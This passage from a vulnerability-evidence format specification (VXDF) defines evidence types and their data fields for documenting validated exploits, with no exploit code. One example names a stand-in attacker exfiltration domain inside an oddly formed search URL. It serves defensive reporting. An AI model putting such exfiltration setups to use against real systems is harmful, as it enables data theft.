  - When using this value, the `Evidence.description` or `ExploitFlow.description` **SHOULD** provide a clear explanation of the method used.
  - **Example Context:** Validation based on a novel research technique not yet categorized, or a highly specialized proprietary validation process.

Appendix Q: `Evidence.evidenceType` - Definitions, Usage, and Data Structure Summaries

This appendix provides detailed definitions, usage guidance, and summaries of the expected `data` object structures for each `evidenceType` value defined in the VXDF v1.0.0 specification. The normative schema for each `data` object variant is defined in Appendix A (Normative JSON Schema) under `$defs/EvidenceDataVariant` and its constituent definitions (e.g., `$defs/HttpRequestLogData`).

Producers of VXDF documents **MUST** select the most specific and appropriate `evidenceType` that accurately describes the nature of the evidence being provided. The corresponding `data` object **MUST** be populated according to the schema defined for that `evidenceType`.

CODE_SNIPPET_SOURCE

- **Display Name:** Code Snippet (Source)
- **Definition:** A snippet of source code that represents the entry point of untrusted data (the "source" of a data flow) or the origin of a control flow that leads to the vulnerability.
- **Usage Guidance:** Use this to highlight the exact lines of code where user input, external data, or attacker-controlled parameters are introduced into the application. This is particularly useful for illustrating the beginning of a data flow analysis.
- **Purpose of `data` Object (`CodeSnippetData`):** To provide the actual code snippet, its language, and optionally its location if different from the primary `Location` object associated with the `ExploitFlow.source`.
- **Key `data` Object Fields Summary (`CodeSnippetData`):**

    - `content` (String, Mandatory): The actual code snippet.
    - `language` (String, Optional): Programming language of the snippet (e.g., 'java', 'python', 'javascript').
    - `filePath` (String, Optional): Path to the source file containing this snippet, if different from a primary location.
    - `startLine` (Integer, Optional, Minimum: 1): One-based starting line number of the snippet in the file.
    - `endLine` (Integer, Optional, Minimum: 1): One-based ending line number of the snippet in the file.

CODE_SNIPPET_SINK

- **Display Name:** Code Snippet (Sink)
- **Definition:** A snippet of source code that represents the point where the vulnerability manifests (the "sink" of a data flow), such as where tainted data is executed, used in a dangerous operation, or improperly handled.
- **Usage Guidance:** Use this to highlight the exact lines of code where the exploit occurs (e.g., SQL query execution, command execution, HTML rendering without escaping). This is crucial for showing the culmination of a vulnerable data flow.
- **Purpose of `data` Object (`CodeSnippetData`):** To provide the actual code snippet, its language, and optionally its location if different from the primary `Location` object associated with the `ExploitFlow.sink`.
- **Key `data` Object Fields Summary (`CodeSnippetData`):**
    - `content` (String, Mandatory): The actual code snippet.
    - `language` (String, Optional): Programming language of the snippet.
    - `filePath` (String, Optional): Path to the source file containing this snippet.
    - `startLine` (Integer, Optional, Minimum: 1): One-based starting line number.
    - `endLine` (Integer, Optional, Minimum: 1): One-based ending line number.

CODE_SNIPPET_CONTEXT

- **Display Name:** Code Snippet (Context)
- **Definition:** A snippet of source code that provides important context related to the vulnerability, but is not strictly the source or the sink. This could be an intermediate step in a data flow, a related configuration within code, or a function that influences the vulnerability.
- **Usage Guidance:** Use this to provide additional code-level details that help in understanding the vulnerability mechanism, such as a flawed validation routine, a data transformation step, or the declaration of a relevant variable.

- **Purpose of `data` Object (`CodeSnippetData`):** To provide the contextual code snippet, its language, and its location.
- **Key `data` Object Fields Summary (`CodeSnippetData`):**
  - `content` (String, Mandatory): The actual code snippet.
  - `language` (String, Optional): Programming language of the snippet.
  - `filePath` (String, Optional): Path to the source file.
  - `startLine` (Integer, Optional, Minimum: 1): One-based starting line number.
  - `endLine` (Integer, Optional, Minimum: 1): One-based ending line number.

RUNTIME_APPLICATION_LOG_ENTRY

- **Display Name:** Runtime Application Log Entry
- **Definition:** An entry from the application's own logging system (e.g., Log4j, Serilog, Python logging) that contains information relevant to proving the vulnerability's exploitability or impact.
- **Usage Guidance:** Use this when application logs show errors, specific data values, or sequences of events that confirm an exploit attempt or a vulnerable condition. For example, an error log showing a malformed SQL query due to injection, or a debug log printing sensitive data.
- **Purpose of `data` Object (`RuntimeLogEntryData`):** To capture the details of a specific log entry, including its source, timestamp within the log, level, message, and any structured data.
- **Key `data` Object Fields Summary (`RuntimeLogEntryData`):**
  - `message` (String, Mandatory): The primary log message content.
  - `logSourceIdentifier` (String, Optional): Identifier for the log source (e.g., file path, 'stdout').
  - `timestampInLog` (String, Optional, date-time format): Timestamp as it appears in the log entry.
  - `logLevel` (String, Optional): Log level if applicable (e.g., 'INFO', 'ERROR').
  - `threadId` (String, Optional): Thread ID associated with the log entry.
  - `processId` (String, Optional): Process ID associated with the log entry.
  - `componentName` (String, Optional): Name of the application component that generated the log.
  - `structuredLogData` (Object, Optional, additionalProperties: true): Key-value pairs for structured log entries.

RUNTIME_SYSTEM_LOG_ENTRY

- **Display Name:** Runtime System Log Entry

- **Definition:** An entry from an operating system-level log (e.g., syslog, Windows Event Log, auditd logs) that provides evidence of a vulnerability or exploit.
- **Usage Guidance:** Use this when OS logs reveal impacts of an exploit, such as unexpected process creation, file access violations, authentication failures indicative of an attack, or kernel-level errors triggered by an exploit.
- **Purpose of** `data` **Object (**`RuntimeLogEntryData` **):** To capture the details of a specific system log entry.
- **Key** `data` **Object Fields Summary (**`RuntimeLogEntryData`**):** (Same as `RUNTIME_APPLICATION_LOG_ENTRY`)
  - `message` (String, Mandatory): The primary log message content.
  - `logSourceIdentifier` (String, Optional): Identifier for the log source (e.g., '/var/log/syslog', 'Windows Event Log - System').
  - ... (other fields from `RuntimeLogEntryData`)

RUNTIME_WEB_SERVER_LOG_ENTRY

- **Display Name:** Runtime Web Server Log Entry
- **Definition:** An entry from a web server's access or error logs (e.g., Apache, Nginx, IIS logs) that supports the vulnerability claim.
- **Usage Guidance:** Useful for showing specific HTTP requests received by the server (especially if an `HTTP_REQUEST_LOG` from the client-side/tool isn't available or needs server-side corroboration), or error conditions on the web server indicative of an attack.
- **Purpose of** `data` **Object (**`RuntimeLogEntryData` **):** To capture the details of a specific web server log entry.
- **Key** `data` **Object Fields Summary (**`RuntimeLogEntryData`**):** (Same as `RUNTIME_APPLICATION_LOG_ENTRY`, with `logSourceIdentifier` typically pointing to web server log files)
  - `message` (String, Mandatory): The primary log message content (often the raw log line).
  - `logSourceIdentifier` (String, Optional): Identifier (e.g., '/var/log/nginx/access.log').
  - ... (other fields from `RuntimeLogEntryData`)

RUNTIME_DATABASE_LOG_ENTRY

- **Display Name:** Runtime Database Log Entry
- **Definition:** An entry from a database server's log files (e.g., query log, error log) that provides evidence of a vulnerability, such as a malformed SQL query resulting from an injection.

- **Usage Guidance:** Use this to show how an injection attempt affected the database server directly, often capturing the exact malicious query that was executed or attempted.
- **Purpose of `data` Object (`RuntimeLogEntryData`):** To capture the details of a specific database log entry.
- **Key `data` Object Fields Summary (`RuntimeLogEntryData`):** (Same as `RUNTIME_APPLICATION_LOG_ENTRY`, with `logSourceIdentifier` typically pointing to database log files)
  - `message` (String, Mandatory): The primary log message content.
  - `logSourceIdentifier` (String, Optional): Identifier (e.g., 'mysql-error.log').
  - ... (other fields from `RuntimeLogEntryData`)

RUNTIME_DEBUGGER_OUTPUT

- **Display Name:** Runtime Debugger Output
- **Definition:** Output from a debugger attached to the vulnerable process, showing state (e.g., variable values, memory contents, call stack) at a critical point during exploit execution or vulnerability manifestation.
- **Usage Guidance:** Powerful for demonstrating memory corruption issues (e.g., buffer overflows showing register states or overwritten stack), confirming variable states after manipulation, or stepping through exploit logic.
- **Purpose of `data` Object (`DebuggerOutputData`):** To provide structured information from a debugger session.
- **Key `data` Object Fields Summary (`DebuggerOutputData`):**
  - `output` (String, Mandatory): The raw output from the debugger command or state dump.
  - `debuggerName` (String, Optional): Name of the debugger used (e.g., 'GDB', 'WinDbg').
  - `timestampInDebugger` (String, Optional, date-time format): Timestamp of the debugger state capture.
  - `commandExecuted` (String, Optional): Debugger command that yielded this output.
  - `callStack` (Array of Strings, Optional): Array representing the call stack frames.
  - `variableStates` (Array of Objects, Optional): State of relevant variables (name, value, type, address).

SCREENSHOT_URL

- **Display Name:** Screenshot URL

- **Definition:** A URL pointing to an image file (screenshot) that visually demonstrates the vulnerability or its impact (e.g., a defaced webpage, an error message, exposed sensitive data in a UI).
- **Usage Guidance:** Use when visual proof is compelling. Ensure the URL is stable and accessible to the intended audience of the VXDF report. Indicate if authentication is required to access the URL.
- **Purpose of `data` Object (`ScreenshotUrlData`):** To provide the URL of the screenshot and a caption.
- **Key `data` Object Fields Summary (`ScreenshotUrlData`):**
    - `url` (String, Mandatory, uri format): URL pointing to the screenshot image.
    - `caption` (String, Optional): A brief caption describing what the screenshot shows.
    - `requiresAuthentication` (Boolean, Optional, Default: false): Indicates if accessing the URL requires authentication.

SCREENSHOT_EMBEDDED_BASE64

- **Display Name:** Screenshot (Embedded Base64)
- **Definition:** A screenshot image embedded directly within the VXDF document as a Base64 encoded string.
- **Usage Guidance:** Use when URLs are not feasible or for self-contained reports. Be mindful of the potential size increase of the VXDF document; use for relatively small images or thumbnails if possible.
- **Purpose of `data` Object (`ScreenshotEmbeddedData`):** To store the image data directly, its format, and a caption.
- **Key `data` Object Fields Summary (`ScreenshotEmbeddedData`):**
    - `imageDataBase64` (String, Mandatory, contentEncoding: "base64"): Base64 encoded string of the image data.
    - `imageFormat` (String, Mandatory, Enum: ["png", "jpeg", "gif", "bmp", "webp"]): Format of the embedded image.
    - `caption` (String, Optional): A brief caption describing what the screenshot shows.

MANUAL_VERIFICATION_NOTES

- **Display Name:** Manual Verification Notes
- **Definition:** Textual notes from a human tester or analyst detailing the steps taken to manually verify or reproduce the vulnerability, the observed outcomes, and any tools used.

- **Usage Guidance:** Essential for capturing the process and reasoning behind manual validation efforts, especially for complex vulnerabilities or those requiring intricate steps. Can also be used to document why a potential finding was deemed a false positive after manual re-validation.
- **Purpose of `data` Object (`ManualVerificationData`):** To provide a structured record of manual verification activities.
- **Key `data` Object Fields Summary (`ManualVerificationData`):**
  - `verificationSteps` (String, Mandatory): Detailed step-by-step account of how the vulnerability was manually verified. Markdown is permitted.
  - `observedOutcome` (String, Mandatory): The outcome observed during manual verification that confirms exploitability.
  - `testerName` (String, Optional): Name or identifier of the person who performed the manual verification.
  - `toolsUsed` (Array of Strings, Optional): List of tools used during manual verification (e.g., 'Burp Suite Professional v2023.10').

ENVIRONMENT_CONFIGURATION_DETAILS

- **Display Name:** Environment Configuration Details
- **Definition:** Describes specific environmental conditions, system configurations, or software stack details that were necessary for or contributed to the exploitability of the vulnerability.
- **Usage Guidance:** Use this when an exploit depends on a particular OS version, patch level, specific versions of underlying software (web server, database, libraries not directly part of the app's primary components), feature flags, or network configurations.
- **Purpose of `data` Object (`EnvironmentConfigData`):** To document the relevant environmental factors that enable or influence the vulnerability.
- **Key `data` Object Fields Summary (`EnvironmentConfigData`):**
  - `operatingSystem` (String, Optional): Operating system name and version.
  - `softwareStack` (Array of Objects, Optional): List of relevant software components (name, version, purl) that constitute the environment.
  - `networkConfiguration` (String, Optional): Relevant network configuration details.
  - `hardwareDetails` (String, Optional): Specific hardware details if relevant.
  - `relevantSettings` (Array of Objects, Optional): Key-value pairs of specific configuration settings (settingName, settingValue, sourceDescription).
  - `notes` (String, Optional): Additional notes about how the environment contributed.

NETWORK_TRAFFIC_CAPTURE_SUMMARY

- **Display Name:** Network Traffic Capture Summary
- **Definition:** A summary of key aspects from a network traffic capture (e.g., PCAP file) that demonstrates the exploit, rather than the full capture itself.
- **Usage Guidance:** Use when analysis of network packets provides proof (e.g., observing specific payloads in transit, data exfiltration over unexpected channels, protocol anomalies). The summary should focus on the relevant packets or data exchanges.
- **Purpose of `data` Object (`NetworkCaptureSummaryData`):** To describe the tool, filters, relevant packet sequences, and data observations from a network capture.
- **Key `data` Object Fields Summary (`NetworkCaptureSummaryData`):**
  - `relevantPacketsDescription` (Array of Strings, Mandatory): Textual descriptions of key packets or sequences relevant to the exploit.
  - `captureTool` (String, Optional): Tool used for capturing traffic (e.g., 'Wireshark 4.0.1').
  - `captureFilterApplied` (String, Optional): Capture filter used (e.g., 'host 10.0.0.5 and port 443').
  - `exchangedDataSummary` (String, Optional): Summary of sensitive data or exploit payloads observed (should be sanitized).
  - `referenceToFullCapture` (String, Optional): Identifier or path where the full capture is stored, if too large to include.

STATIC_ANALYSIS_DATA_FLOW_PATH

- **Display Name:** Static Analysis Data Flow Path
- **Definition:** Represents a tainted data flow path identified by static analysis (potentially refined or confirmed manually) that is relevant to the validated exploit.
- **Usage Guidance:** Use this when a SAST tool's data flow analysis (or a manually constructed one) clearly shows how tainted input propagates from a source to a sink without adequate sanitization, forming the basis of the vulnerability.
- **Purpose of `data` Object (`StaticAnalysisPathData`):** To provide a structured representation of the data flow path, including the SAST tool/rule and the sequence of path nodes.
- **Key `data` Object Fields Summary (`StaticAnalysisPathData`):**
  - `pathNodes` (Array of Objects, Mandatory, MinItems: 2): Ordered array of nodes representing the data flow path. Each node has:
    - `order` (Integer, Mandatory, Minimum: 0): Sequence order.
    - `location` (`Location` object, Mandatory): Code location of the node.
    - `description` (String, Mandatory): Description of this node in the path.

    - `toolName` (String, Optional): Name of the SAST tool that originally identified this path.
    - `queryOrRuleId` (String, Optional): Identifier of the SAST query or rule.

STATIC_ANALYSIS_CONTROL_FLOW_GRAPH

- **Display Name:** Static Analysis Control Flow Graph
- **Definition:** Information derived from a statically generated control flow graph (CFG), call graph, or program dependence graph that helps prove the vulnerability (e.g., showing reachability of a sink, or lack of a sanitization path being hit).
- **Usage Guidance:** Use when the graphical structure of code execution flow is key evidence. This is more specialized than a simple data flow path.
- **Purpose of `data` Object (`StaticAnalysisGraphData`):** To describe the type of graph, its scope, a summary of what it demonstrates, and optionally highlight relevant nodes/edges or link to a visual representation.
- **Key `data` Object Fields Summary (`StaticAnalysisGraphData`):**
    - `graphType` (String, Mandatory, Enum: ["CONTROL_FLOW", "CALL_GRAPH", ...]): Type of graph.
    - `graphDescription` (String, Mandatory): Summary of what the graph demonstrates.
    - `toolName` (String, Optional): Name of the SAST tool or technique.
    - `functionNameOrScope` (String, Optional): Name of the function or scope this graph pertains to.
    - `relevantNodesOrEdges` (Array of Objects, Optional): Descriptions of specific key nodes/edges (elementType, elementId, description).
    - `imageOfGraphUrl` (String, Optional, uri format): URL to an image/visual representation of the graph.

DATABASE_STATE_CHANGE_PROOF

- **Display Name:** Database State Change Proof
- **Definition:** Evidence showing changes to a database's state (e.g., creation, modification, or deletion of records; schema changes) as a direct result of an exploit.
- **Usage Guidance:** Particularly useful for SQL injection, NoSQL injection, or other vulnerabilities that manipulate database content. Shows "before and after" states or the final malicious state.

- **Purpose of `data` Object (`DbStateChangeData`):** To document the affected database object, the state before and after the exploit (if applicable), the action triggering the change, and any verification query.
- **Key `data` Object Fields Summary (`DbStateChangeData`):**
    - `targetObjectDescription` (String, Mandatory): Description of the database object affected (e.g., 'users table, record where username=admin').
    - `stateAfterExploit` (String, Mandatory): Description or snippet of the database state after the exploit attempt.
    - `databaseType` (String, Optional): Type of database (e.g., 'MySQL', 'PostgreSQL').
    - `stateBeforeExploit` (String, Optional): State before the exploit attempt.
    - `actionTriggeringChange` (String, Optional): The action or exploit performed.
    - `queryUsedForVerification` (String, Optional): SQL query or method used to observe the state.

FILE_SYSTEM_CHANGE_PROOF

- **Display Name:** File System Change Proof
- **Definition:** Evidence showing the creation, modification, deletion, or permission changes of files or directories on the target system as a result of an exploit.
- **Usage Guidance:** Relevant for path traversal, command injection leading to file system interaction, insecure file upload vulnerabilities, etc.
- **Purpose of `data` Object (`FsChangeData`):** To document the affected file path, type of change, state before/after (if applicable), and the method causing the change.
- **Key `data` Object Fields Summary (`FsChangeData`):**
    - `filePath` (String, Mandatory): Full path to the file or directory affected.
    - `changeType` (String, Mandatory, Enum: ["CREATION", "MODIFICATION", "DELETION", "PERMISSION_CHANGE", "READ_ACCESS"]): Type of change observed.
    - `contentOrPermissionBefore` (String, Optional): Content snippet or permission state before the change.
    - `contentOrPermissionAfter` (String, Optional): Content snippet or permission state after the change.
    - `commandOrMethodUsed` (String, Optional): Command, payload, or method causing the change.

EXFILTRATED_DATA_SAMPLE

- **Display Name:** Exfiltrated Data Sample

- **Definition:** A sample of data confirmed to have been illicitly extracted (exfiltrated) from the target system as a result of the vulnerability.
- **Usage Guidance:** Strong proof for vulnerabilities leading to data breaches (e.g., SQL injection, XXE, SSRF leading to internal data access). **Extreme caution is required: actual sensitive data `SHOULD NOT` be included directly.** Use sanitized, redacted, masked, or placeholder examples. Focus on describing the *type* and *format* of data.
- **Purpose of `data` Object (`ExfiltratedDataSampleData`):** To describe the type of data exfiltrated, provide a sanitized sample, and note the method and destination of exfiltration.
- **Key `data` Object Fields Summary (`ExfiltratedDataSampleData`):**
  - `dataDescription` (String, Mandatory): Description of the type of data exfiltrated (e.g., 'User credentials (usernames and password hashes)').
  - `dataSample` (String, Mandatory): A small, sanitized, illustrative sample of the exfiltrated data (e.g., 'Format: username:hash - admin:$2a...').
  - `exfiltrationMethod` (String, Optional): How the data was exfiltrated (e.g., 'Via DNS query to attacker-controlled server').
  - `destinationIndicator` (String, Optional): Indicator of the exfiltration destination (e.g., 'Attacker domain: https://www.google.com/search?q=evil-collector.com').

SESSION_INFORMATION_LEAK

- **Display Name:** Session Information Leak
- **Definition:** Evidence detailing the leakage of sensitive session-related information (e.g., session IDs, CSRF tokens, API keys) through improper handling or exposure.
- **Usage Guidance:** Use when vulnerabilities like insecure cookie attributes, token exposure in URLs or logs, or improper token handling lead to potential session hijacking or unauthorized access.
- **Purpose of `data` Object (`SessionInfoLeakData`):** To document the type of session information leaked, a sample of the leaked data (masked if necessary), how it was exposed, and the potential impact.
- **Key `data` Object Fields Summary (`SessionInfoLeakData`):**
  - `leakedInformationType` (String, Mandatory): Type of session information leaked (e.g., 'SessionID Cookie Value', 'CSRF Token in URL Parameter').
  - `leakedDataSample` (String, Mandatory): The leaked session data (illustrative or partially masked, e.g., 'JSESSIONID=ABC...XYZ').
  - `exposureContextDescription` (String, Mandatory): How and where the information was exposed (e.g., 'Observed in Referer header').

    - `potentialImpact` (String, Optional): Potential impact of the leak (e.g., 'Session hijacking').

DIFFERENTIAL_ANALYSIS_RESULT

- **Display Name:** Differential Analysis Result
- **Definition:** Evidence that compares the outcomes of different interaction attempts with the system to demonstrate a vulnerability (e.g., for authorization bypasses by changing user roles, or observing different responses to similar requests with slight modifications).
- **Usage Guidance:** Useful for demonstrating vulnerabilities where the exploit isn't a single input/output, but rather a difference in behavior under slightly varied conditions that an attacker can control or observe. Examples include testing access controls with different user privileges or identifying timing attacks.
- **Purpose of `data` Object (`DifferentialAnalysisData`):** To document a baseline (control) request and its outcome, a modified (test) request and its outcome, and an analysis of how the difference proves the vulnerability.
- **Key `data` Object Fields Summary (`DifferentialAnalysisData`):**
    - `baselineRequestDescription` (String, Mandatory): Description of the baseline or control request/action.
    - `baselineResponseOrOutcomeSummary` (String, Mandatory): Summary of the outcome for the baseline request.
    - `modifiedRequestOrActionDescription` (String, Mandatory): Description of the modified request/action that demonstrates the vulnerability.
    - `modifiedResponseOrOutcomeSummary` (String, Mandatory): Summary of the outcome for the modified request, showing the exploit.
    - `analysisOfDifference` (String, Mandatory): Explanation of how the difference in outcomes demonstrates the vulnerability.

TOOL_SPECIFIC_OUTPUT_LOG

- **Display Name:** Tool-Specific Output Log
- **Definition:** Relevant output from a specific security tool (not covered by more specific types like SCA or SAST path) that directly supports the vulnerability claim.
- **Usage Guidance:** Use for tools like Nmap, SQLMap, Metasploit, custom fuzzers, or vulnerability scanners whose output provides direct evidence of an exploitable condition.

- **Purpose of `data` Object (`ToolSpecificOutputData`):** To capture the tool name, version, command line (if applicable), the relevant log/output section, and an interpretation of that output.
- **Key `data` Object Fields Summary (`ToolSpecificOutputData`):**
    - `toolName` (String, Mandatory): Name of the tool (e.g., 'Nmap', 'SQLMap').
    - `relevantLogSectionOrOutput` (String, Mandatory): The specific snippet or section of the tool's output supporting the evidence.
    - `toolVersion` (String, Optional): Version of the tool.
    - `commandLineExecuted` (String, Optional): Command line used to run the tool.
    - `interpretationOfOutput` (String, Optional): How this tool output confirms the vulnerability.

OTHER_EVIDENCE

- **Display Name:** Other Evidence
- **Definition:** A generic container for types of evidence not specifically structured or catered for by other predefined `evidenceType` values.
- **Usage Guidance:** Use sparingly when other types are genuinely inadequate. The description of the data type and its content are crucial for interpretation.
- **Purpose of `data` Object (`OtherEvidenceData`):** To provide a flexible way to include miscellaneous evidence, with descriptions of its nature and encoding.
- **Key `data` Object Fields Summary (`OtherEvidenceData`):**
    - `dataTypeDescription` (String, Mandatory): A string clearly describing the nature and format of `dataContent` (e.g., 'Proprietary binary log format snippet').
    - `dataContent` (String, Mandatory): The evidence data, typically as a string. For complex data, Base64 encoding or linking might be considered, noted in `dataTypeDescription` or `encodingFormat`.
    - `encodingFormat` (String, Optional, Enum: ["plaintext", "base64", ...], Default: "plaintext"): Encoding or format of `dataContent`.

`COMMAND_EXECUTION_OUTPUT`

- **Display Name:** Command Execution Output
- **Definition:** Represents evidence obtained from the output of a command executed on a target system as a direct result of exploiting a vulnerability (e.g., command injection).
- **Usage Guidance:**

    - Use this for vulnerabilities like OS command injection, code injection leading to command execution, or any scenario where an attacker can cause arbitrary commands to run.
    - This provides direct proof of the level of control achieved.
    - Be cautious about including excessively long outputs; summarize or truncate if necessary, focusing on the part that proves execution and impact. Ensure no sensitive system information unrelated to the proof is included.
- **Purpose of `data` Object (`CommandOutputData`):** To capture the command that was injected and the resulting output from the system.
- **Key `data` Object Fields Summary (`CommandOutputData`):**
    - `commandInjected` (String, Mandatory): The command string that was successfully injected and executed.
    - `outputReceived` (String, Mandatory): The standard output (stdout) and/or standard error (stderr) received from the executed command.
    - `executionEnvironment` (String, Optional): Context of execution (e.g., "Executed as 'www-data' user on Linux", "PowerShell on Windows Server 2019", "Within a Docker container 'xyz'").

`CONFIGURATION_FILE_SNIPPET`

- **Display Name:** Configuration File Snippet
- **Definition:** A relevant excerpt from a configuration file that demonstrates a misconfiguration leading to or contributing to the vulnerability.
- **Usage Guidance:**
    - Use this for vulnerabilities rooted in insecure settings, such as overly permissive security policies, use of default credentials, disabled security features, or improper service configurations (e.g., in web servers, application servers, databases, OS, or cloud services).
    - The snippet should be focused and clearly highlight the problematic setting(s).
    - Provide context, such as the file path and an interpretation of why the snippet indicates a vulnerability.
- **Purpose of `data` Object (`ConfigFileSnippetData`):** To pinpoint the exact misconfiguration within a specific file and explain its security implication.
- **Key `data` Object Fields Summary (`ConfigFileSnippetData`):**
    - `filePath` (String, Mandatory): The full path to the configuration file on the target system or within the application package (e.g., `/etc/nginx/nginx.conf`, `web.xml`, `database.yml`).

    - `snippet` (String, Mandatory): The relevant lines or section from the configuration file demonstrating the misconfiguration.
    - `settingName` (String, Optional): The name of the specific configuration setting, directive, or key, if applicable (e.g., "PermitRootLogin", "x-frame-options", "debug_mode").
    - `interpretation` (String, Optional): An explanation of why this configuration snippet is evidence of a vulnerability (e.g., "'PermitRootLogin' is set to 'yes', allowing direct root SSH access", "The 'X-Frame-Options' directive is commented out, enabling clickjacking attacks").

`EXTERNAL_INTERACTION_PROOF`

- **Display Name:** Proof of External Interaction
- **Definition:** Evidence demonstrating that the vulnerable system made an unexpected or attacker-controlled outbound network connection or interaction as a result of an exploit. This is often used to validate "blind" vulnerabilities where direct output is not immediately returned to the attacker.
- **Usage Guidance:**
    - Crucial for validating vulnerabilities like blind Server-Side Request Forgery (SSRF), blind Cross-Site Scripting (XSS) (e.g., via XSS Hunter), some forms of blind Remote Code Execution (RCE), or out-of-band SQL injection (OAST - Out-of-Band Application Security Testing).
    - The interaction should ideally be with a system controlled by the tester/validator (e.g., a Burp Collaborator instance, a custom listener, an Interactsh server).
    - Details should be specific enough (e.g., unique identifiers in subdomains or paths) to reliably correlate the interaction with the specific exploit attempt.
- **Purpose of `data` Object (`ExternalInteractionProofData`):** To document the details of an observed outbound network interaction triggered by an exploit, confirming control flow or data exfiltration to an external entity.
- **Key `data` Object Fields Summary (`ExternalInteractionProofData`):**
    - `interactionType` (String, Mandatory, Enum): The type of external network interaction observed (e.g., `DNS_QUERY`, `HTTP_REQUEST`, `HTTPS_REQUEST`, `TCP_CONNECTION`).
    - `sourceIpOrHostname` (String, Optional): The IP address or hostname of the vulnerable system that initiated the interaction (if identifiable from the interaction logs).

    - destinationIpOrHostname (String, Mandatory): The destination IP address or hostname that received the interaction (typically an attacker/tester-controlled system).
    - destinationPort (Integer, Optional): The destination port number, if applicable.
    - protocolUsed (String, Optional): The network protocol used (e.g., "DNS", "HTTP", "TCP"). This might be redundant if interactionType is specific but can add clarity.
    - timestampOfInteraction (String, date-time format, Optional): The timestamp when the interaction was observed on the external system.
    - requestPayloadOrQueryDetails (String, Optional): Specific details from the interaction that link it to the exploit (e.g., the unique subdomain queried in a DNS interaction, specific path or headers in an HTTP callback, data included in the payload sent by the vulnerable application).
    - responseSummaryReceived (String, Optional): A summary of any response sent back *to* the vulnerable system *by* the external entity, if observed and relevant to the proof.
    - notes (String, Optional): Contextual notes explaining how this interaction confirms the vulnerability (e.g., "Confirms blind SSRF by triggering DNS lookup to [unique_id].collaborator.net", "HTTP callback received containing exfiltrated user session cookie.").

HTTP_REQUEST_LOG

- **Display Name:** HTTP Request Log
- **Definition:** Represents the evidence of a complete HTTP request that was sent by an attacker, testing tool, or observed during an exploit. This type captures the raw details of the request that triggered or demonstrated the vulnerability.
- **Usage Guidance:**
    - Use this when the exact details of the HTTP request (method, URL, headers, body) are crucial for understanding, reproducing, or validating the exploit.
    - Common for web application vulnerabilities such as SQL Injection, Cross-Site Scripting (XSS), Server-Side Request Forgery (SSRF), Command Injection, Insecure Direct Object References (IDORs), etc., particularly when validated via DAST, IAST, or manual penetration testing.
    - Consider redacting highly sensitive information (e.g., active session tokens, PII) from headers or body if the full value is not strictly necessary for the proof, or clearly note its sensitivity. Use placeholder values where

appropriate if full values are not needed (e.g., `Authorization: Bearer [REDACTED_TOKEN]`).

- **Purpose of `data` Object (`HttpRequestLogData`):** To capture all relevant components of an HTTP request in a structured manner, allowing for precise reproduction and analysis.
- **Key `data` Object Fields Summary (`HttpRequestLogData`):**
    - `method` (String, Mandatory): The HTTP method used (e.g., "GET", "POST", "PUT", "DELETE", "PATCH", "OPTIONS", "HEAD").
    - `url` (String, Mandatory, URI Format): The full request URL, including scheme, host, path, and query parameters.
    - `version` (String, Optional): The HTTP protocol version (e.g., "HTTP/1.1", "HTTP/2").
    - `headers` (Array of Objects, Optional): An array of key-value pairs representing the request headers. Each object has `name` (String) and `value` (String) properties.
    - `body` (String, Optional): The request body content.
    - `bodyEncoding` (String, Optional, Enum: "plaintext", "base64", "json", "xml", "form_urlencoded"; Default: "plaintext"): Specifies the encoding or original format of the `body` field. If the body contains binary data or non-UTF-8 characters, "base64" is recommended. If the body is structured (e.g., JSON, XML), it can be included as a string, and this field can indicate its original format for easier parsing by consumers.

`HTTP_RESPONSE_LOG`

- **Display Name:** HTTP Response Log
- **Definition:** Represents the evidence of a complete HTTP response received from the application as a result of a request (often the one detailed in a corresponding `HTTP_REQUEST_LOG` evidence item) that triggered or demonstrated a vulnerability.
- **Usage Guidance:**
    - Use this when the content or characteristics of the server's response are key to proving the exploit (e.g., reflected XSS, error messages revealing SQL errors, successful data exfiltration in the response body, unexpected status codes for IDORs, presence/absence of security headers).
    - Often paired with an `HTTP_REQUEST_LOG` evidence item.
    - Redact sensitive information from the response body if necessary.
- **Purpose of `data` Object (`HttpResponseLogData`):** To capture all relevant components of an HTTP response in a structured manner.

- **Key** `data` **Object Fields Summary (**`HttpResponseLogData`**):**
    - `url` (String, Optional, URI Format): The URL that generated this response (useful for context if not immediately paired with a request log).
    - `statusCode` (Integer, Mandatory): The HTTP status code (e.g., 200, 302, 403, 500).
    - `reasonPhrase` (String, Optional): The HTTP reason phrase (e.g., "OK", "Found", "Forbidden").
    - `version` (String, Optional): The HTTP protocol version (e.g., "HTTP/1.1", "HTTP/2").
    - `headers` (Array of Objects, Optional): An array of key-value pairs representing the response headers. Each object has `name` (String) and `value` (String) properties.
    - `body` (String, Optional): The response body content.
    - `bodyEncoding` (String, Optional, Enum: "plaintext", "base64", "json", "xml", "html"; Default: "plaintext"): Specifies the encoding or format of the `body` field.

`MISSING_ARTIFACT_VERIFICATION`

- **Display Name:** Missing Artifact Verification
- **Definition:** Evidence demonstrating the absence or incorrect configuration of a required security control, artifact, or setting, which leads to or constitutes a vulnerability.
- **Usage Guidance:**
    - Use this for vulnerabilities like missing security headers (e.g., X-Frame-Options, Content-Security-Policy), lack of input validation at a critical point, disabled security features, or missing security-relevant files or configurations.
    - Clearly describe the artifact that was expected and how its absence or misconfiguration was verified.
- **Purpose of** `data` **Object (**`MissingArtifactData`**):** To document what security artifact was expected, what was observed (its absence or incorrect state), and how this was checked.
- **Key** `data` **Object Fields Summary (**`MissingArtifactData`**):**
    - `artifactName` (String, Mandatory): Name or description of the security artifact that is missing or misconfigured (e.g., "X-Content-Type-Options Header", "Input validation for 'username' parameter", "CSRF token field in payment form").

    - `artifactType` (String, Optional): Type of artifact (e.g., "HTTP_Security_Header", "Security_Control_Function", "Configuration_Setting", "UI_Element").
    - `checkMethodDescription` (String, Optional): How the absence or misconfiguration of the artifact was verified (e.g., "Reviewed HTTP response headers using browser developer tools", "Manual code review of `login.php`", "Scanned server configuration for `StrictTransportSecurity` directive").
    - `expectedState` (String, Mandatory): The expected state, presence, or configuration of the artifact for secure operation (e.g., "X-Content-Type-Options header should be present with value 'nosniff'", "Username parameter should be validated against a whitelist pattern: ^[a-zA-Z0-9_]{3,16}$").
    - `observedState` (String, Mandatory): The observed state, confirming the absence or incorrect configuration (e.g., "Header not present", "No input validation found for parameter 'username'", "CSRF token was not found in the form submission.").

`OBSERVED_BEHAVIORAL_CHANGE`

- **Display Name:** Observed Behavioral Change
- **Definition:** Evidence that describes an unexpected or malicious change in the application's or system's behavior as a direct result of an exploit attempt. This often demonstrates the impact of the vulnerability.
- **Usage Guidance:**
